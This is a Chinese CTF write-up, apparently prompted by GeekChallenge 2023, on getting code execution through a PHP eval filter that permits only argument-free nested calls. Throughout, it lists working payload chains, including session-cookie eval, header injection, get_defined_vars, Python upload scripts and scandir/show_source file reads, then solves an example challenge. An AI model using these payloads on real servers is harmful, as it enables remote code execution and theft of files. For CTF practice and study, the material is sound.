NoParameterRCE
最近做了做Geek Challenge 2023发现了一道PHP无参RCE构造的题目,就顺便想着总结一下方便之后的查阅。不足之处欢迎各位师傅指出。
场景
if (';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $var)){
eval($_GET['var']);
}
这段代码中的preg_replace
的作用是匹配$var
的字符串,匹配模式为函数名不可包含空格空格\s
、左右括号,删除所有以左括号开始、以右括号结束的字符序列,包括嵌套的括号结构,也就是类似于vuln("word")
中有参数的都是不被允许的,只能匹配vuln1(vuln2(vuln3()))
格式。
//目录函数 https://www.php.net/manual/en/book.dir.php
函数 描述
chdir() 改变当前的目录。
chroot() 改变根目录。
closedir() 关闭目录句柄。
dir() 返回 Directory 类的实例。
getcwd() 返回当前工作目录。
opendir() 打开目录句柄。
readdir() 返回目录句柄中的条目。
rewinddir() 重置目录句柄。
scandir() 返回指定目录中的文件和目录的数组。
//数组函数 https://www.php.net/manual/en/book.array.php
end() 将内部指针指向数组中的最后一个元素,并输出。
next() 将内部指针指向数组中的下一个元素,并输出。
prev() 将内部指针指向数组中的上一个元素,并输出。
reset() 将内部指针指向数组中的第一个元素,并输出。
each() 返回当前元素的键名和键值,并将内部指针向前移动。
current()/pos() 输出数组中的当前元素的值也可理解是第一个元素。
array_shift() 删除数组中第一个元素,并返回被删除元素的值。
//读文件
show_source() 对文件进行语法高亮显示。
readfile() 输出一个文件。
highlight_file() 对文件进行语法高亮显示。
file_get_contents() 把整个文件读入一个字符串中。
readgzfile() 可用于读取非 gzip 格式的文件
session利用
函数
- session_start():会创建新会话或者重用现有会话。 如果通过 GET 或者 POST 方式,或者使用 cookie 提交了会话 ID, 则会重用现有会话。
- session_id():可以用来获取/设置当前会话 ID。
利用
# 读取文件 抓包更改Cookie: PHPSESSID= /文件地址
show_source(session_id(session_start()));
var_dump(file_get_contents(session_id(session_start())))
highlight_file(session_id(session_start()));
readfile(session_id(session_start()));
readgzfile(session_id(session_start()))
# 命令执行 抓包更改Cookie: PHPSESSID= hex(恶意代码)
eval(hex2bin(session_id(session_start())))
但由于PHPSESSID限制传入的数据类型为[A-Za-z0-9\-],因此在需要有符号的时候我们需要将恶意代码或者地址转换为16进制
getallheaders()
这个函数的作用的是将http
的头部信息全部打印出来,但这函数使用时限制环境为apache
。发送时在最后添加一个header头,如exp: phpinfo();
,需要再添加一个eval()
是因为执行一个eval
后只是取到了end(getallheaders())
的返回但没有将恶意的header头执行。
eval(end(getallheaders()));
#implode 将数组转为字符串,可能从后往前拼接header也有可能从前往后拼接header,可以使用array_reverse()反转
eval(implode(getallheaders()));
eval(implode(array_reverse(getallheaders())));
exp: phpinfo();//
当php7以上版本时可以尝试:
eval(end(apache_request_headers()));
get_defined_vars()
函数作用为将所有已定义的变量组成一个二维数组,顺序是GET→POST→COOKIE→FILES
//查看我们恶意参数的数组位置
print_r(current(get_defined_vars()));&b=phpinfo();
print_r(pos(get_defined_vars()));&b=phpinfo();
//如果恶意参数在最后一个位置则输出
eval(end(current(get_defined_vars())));&b=phpinfo();
如果对GET→POST→COOKIE
做了过滤则只能对FILES下手了
import requests
files = {
"phpinfo();": ""
}
r = requests.post('http://ip/index.php?code=eval(pos(pos(end(get_defined_vars()))));', files=files)
print(r.content.decode("utf-8", "ignore"))
==============================================================================
import requests
from binascii import *
payload = hexlify("phpinfo();").decode()
files = {
payload: ''
}
r = requests.post("http://ip/index.php?exp=eval(hex2bin(array_rand(end(get_defined_vars()))));", files=files, allow_redirects=False)
print(r.content.decode("utf-8", "ignore"))
getenv()
函数作用为获取环境变量的值(PHP7.1之后可以不给予参数)
var_dump(getenv());
var_dump(getenv(phpinfo()));
scandir()
查看根目录文件
所获得的字符串第一位有几率是/,需要多试几次
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
查看当前目录文件名
print_r(scandir(current(localeconv())));
读取当前目录文件
当前目录倒数第一位文件:
show_source(end(scandir(getcwd())));
show_source(current(array_reverse(scandir(getcwd()))));
当前目录倒数第二位文件:
show_source(next(array_reverse(scandir(getcwd()))));
随机返回当前目录文件:
highlight_file(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));
查看上一级目录文件名
print_r(scandir(dirname(getcwd())));
print_r(scandir(next(scandir(getcwd()))));
print_r(scandir(next(scandir(getcwd()))));
读取上级目录文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));
payload解释
- array_flip():交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULL。
- array_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1),array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后,就可以根据随机的键获取数组的随机值。
- array_flip()和array_rand()配合使用可随机返回当前目录下的文件名
- dirname(chdir(dirname()))配合切换文件路径
dirname()&cndir()
函数
dirname() — 返回路径中的目录部分(上一级目录)
chdir() — 函数改变当前的目录
readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
例题
GeekChallenge2023 — Pupyy_rce
题目
<?php
highlight_file(__FILE__);
header('Content-Type: text/html; charset=utf-8');
error_reporting(0);
include(flag.php);
//当前目录下有好康的😋
if (isset($_GET['var']) && $_GET['var']) {
$var = $_GET['var'];
if (!preg_match("/env|var|session|header/i", $var,$match)) {
if (';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $var)){
eval($_GET['var']);
}
else die("WAF!!");
} else{
die("PLZ DONT HCAK ME😅");
}
}
solution
上面代码中已经禁用了env|var|session|header
因此我们就只能用scandir()
读取文件内容
//首先查看统计目录下有什么文件
?var=print_r(scandir(getcwd()));
Array ( [0] => . [1] => .. [2] => error.log [3] => fl@g.php [4] => genshin01.txt [5] => index.php [6] => tiangou01.txt [7] => tiangou02.txt )
//发现flag在第四个元素,那就尝试随机读来读取文件
?var=show_source(array_rand(array_flip(scandir(getcwd()))));